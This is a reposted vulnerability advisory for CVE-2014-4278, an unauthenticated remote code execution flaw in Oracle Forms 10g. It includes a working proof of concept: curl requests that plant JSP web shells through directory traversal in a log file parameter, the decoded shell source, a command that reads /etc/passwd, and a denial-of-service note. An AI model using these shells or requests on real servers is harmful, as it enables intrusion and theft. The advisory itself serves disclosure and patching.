Advisory: Oracle Forms 10g Unauthenticated Remote Code Execution (CVE-2014-4278)

  1. 云栖社区>
  2. 博客>
  3. 正文

Advisory: Oracle Forms 10g Unauthenticated Remote Code Execution (CVE-2014-4278)

cnbird 2014-10-20 17:49:02 浏览356
展开阅读全文

Vulnerability Description:

Oracle Forms 10g contains code that does not properly validate user input. This could allow an unauthenticated user to execute arbitrary commands on the remote Oracle Forms server.

Also affected: Oracle E-Business Suite 12.0.6, 12.1.3, 12.2.2, 12.2.3 and 12.2.4 [1]

Vulnerability Details:

When a user launches a new Oracle Forms application, the application first invokes the FormsServlet class to initiate connection. The application then invokes the ListenerServlet class, which launches frmweb process in the background of the remote server.

The normal URL to invoke ListenerServlet looks like:

http://127.0.0.1:8889/forms/lservlet?ifcfs=/forms/frmservlet?acceptLanguage=en-US,en;q=0.5&ifcmd=getinfo&ifip=127.0.0.1

With the above URL, the normal frmweb process is started with the following parameters:

frmweb server webfile=HTTP-0,0,0,em_mode,127.0.0.1

Where ifip parameter is controllable by user input. The frmweb executable, however, accepts one more parameter:

frmweb server webfile=HTTP-0,0,0,em_mode,127.0.0.1,logfile

A log file, named based on the user supplied log name, is created on the server following the request. The content of the log file contains the log file name:

FORMS CONNECTION ACTIVITY LOG FILE
Developer:Forms/LogRecord

[Fri May  9 16:46:58 2014 EDT]::Server Start-up Data:
        Server Log Filename: logfile
        Server Hostname: oralin6u5x86
        Server Port: 0
        Server Pool: 1
        Server Process Id: 15638

The Oracle Forms application does not perform adequate input validation on the logfile parameter and allows directory traversal sequences (../). By controlling the ifip parameter passed to the ListenerServlet class, an attacker can now control the logfile location and partially its content as well. Combined with the weak configuration of the remote web server that allows jsp files to be served under http://host:port/forms/javalocation, attacker could upload a remote shell and execute arbitrary code on the server.

Technical challenges:

The web server does not seem to accept white spaces or new lines; it also limits the number of characters that could be passed onto the frmweb executable. To execute Operating System command, a custom JSP shell was developed that bypass such restrictions.

Verification:

Proof-of-concept exploit (tested with Oracle Development Suite 10.1.2.0.2, installed on Oracle Linux 5u6):

  1. Upload first shell to execute commands (see Other Notes for the decoded version):
    curl --request GET  'http://127.0.0.1:8889/forms/lservlet?ifcfs=/forms/frmservlet?acceptLanguage=en-US,en;q=0.5&ifcmd=getinfo&ifip=127.0.0.1,./java/<%25java.lang.Runtime.getRuntime().exec(request.getParameterValues("cmd"))%3b%25>.jsp'
    
  2. After the first step, attacker could execute OS command via the blind shell, located at:http://127.0.0.1:8889/forms/java/<%25java.lang.Runtime.getRuntime().exec(request.getParameterValues("cmd"))%3b%25>.jsp. To retrieve the command results, they could use the first blind shell to write the second JSP shell, which was based of fuzzdb's cmd.jsp [3]
    curl --request GET 'http://127.0.0.1:8889/forms/java/<%25java.lang.Runtime.getRuntime().exec(request.getParameterValues("cmd"))%3b%25>.jsp?cmd=/bin/sh&cmd=-c&cmd=echo%20PCVAcGFnZSBpbXBvcnQ9ImphdmEuaW8uKiIlPjwlU3RyaW5nIG9wPSIiLHM9IiI7dHJ5e1Byb2Nlc3MgcD1SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJjbWQiKSk7QnVmZmVyZWRSZWFkZXIgc0k9bmV3IEJ1ZmZlcmVkUmVhZGVyKG5ldyBJbnB1dFN0cmVhbVJlYWRlcihwLmdldElu-cHV0U3RyZWFtKCkpKTt3aGlsZSgocz1zSS5yZWFkTGluZSgpKSE9bnVsbCl7b3ArPXM7fX1jYXRjaChJT0V4Y2VwdGlvbiBlKXtlLnByaW50U3RhY2tUcmFjZSgpO30lPjwlPW9wJT4%3d|base64%20--decode%3E./forms/java/cmd.jsp'
    
  3. The second shell is now available at http://127.0.0.1:8889/forms/java/cmd.jsp. To get the content of /etc/passwd on the remote server:
    curl --request GET  'http://127.0.0.1:8889/forms/java/cmd.jsp?cmd=cat+/etc/passwd'

 

Recommendations for Oracle:

  • Create a white list of characters that are allowed to appear in the input and accept input composed exclusively of characters in the approved set.
  • Consider removing support for jsp files on the remote web server if it is not required.

Other notes:

URL-decoded version of the first blind JSP shell:

<%java.lang.Runtime.getRuntime().exec(request.getParameterValues("cmd"));%>

Base64-decoded version of the second JSP shell:

<%@page import="java.io.*"%><%String op="",s="";try{Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));BufferedReader sI=new BufferedReader(new InputStreamReader(p.getInputStream()));while((s=sI.readLine())!=null){op+=s;}}catch(IOException e){e.printStackTrace();}%><%=op%>

Oracle Forms 10g is also vulnerable to a simple DOS attack: each time the URL http://127.0.0.1:8889/forms/lservlet?ifcfs=/forms/frmservlet?acceptLanguage=en-US,en;q=0.5&ifcmd=getinfo&ifip=127.0.0.1 is invoked, a frmweb process will be launched in the background. An attacker could exhaust server resources simply by requesting the same URL multiple times. I believe this behavior is fixed in version 11g and onwards with connection pooling

For Oracle Forms 11g and onwards, it is still possible to inject into command arguments of the frmweb executable, through a different vector. However the frmweb executable does not seem to recognize that last argument as the log file location; therefore another vulnerability may be required in order to gain code execution.

Since Oracle has ended its support for Forms 10g [2], the patch for Forms 10g itself was not released in the 2014 October CPU [1]. However, it appeared that Forms 10g component is still being used in E-Business Suite; therefore a patch for it was released [1]. If your organization is still using Oracle Forms 10g, I would recommend backport the fix from E-Business Suite, or upgrade to Forms version 11 or newer.

 

Report Timeline:

  • May 15, 2014: vulnerability was reported to Oracle.
  • June 18, 2014: vulnerability was confirmed by Oracle
  • October 14, 2014: patch released

References:

[1] http://www.oracle.com/technetwork/topics/security/cpuoct2014-1972960.html

[2] https://blogs.oracle.com/grantronald/entry/alert_for_forms_customers_running_oracle_forms_10g

[3] https://github.com/rustyrobot/fuzzdb/blob/master/web-backdoors/jsp/cmd.jsp

网友评论

登录后评论
0/500
评论
cnbird
+ 关注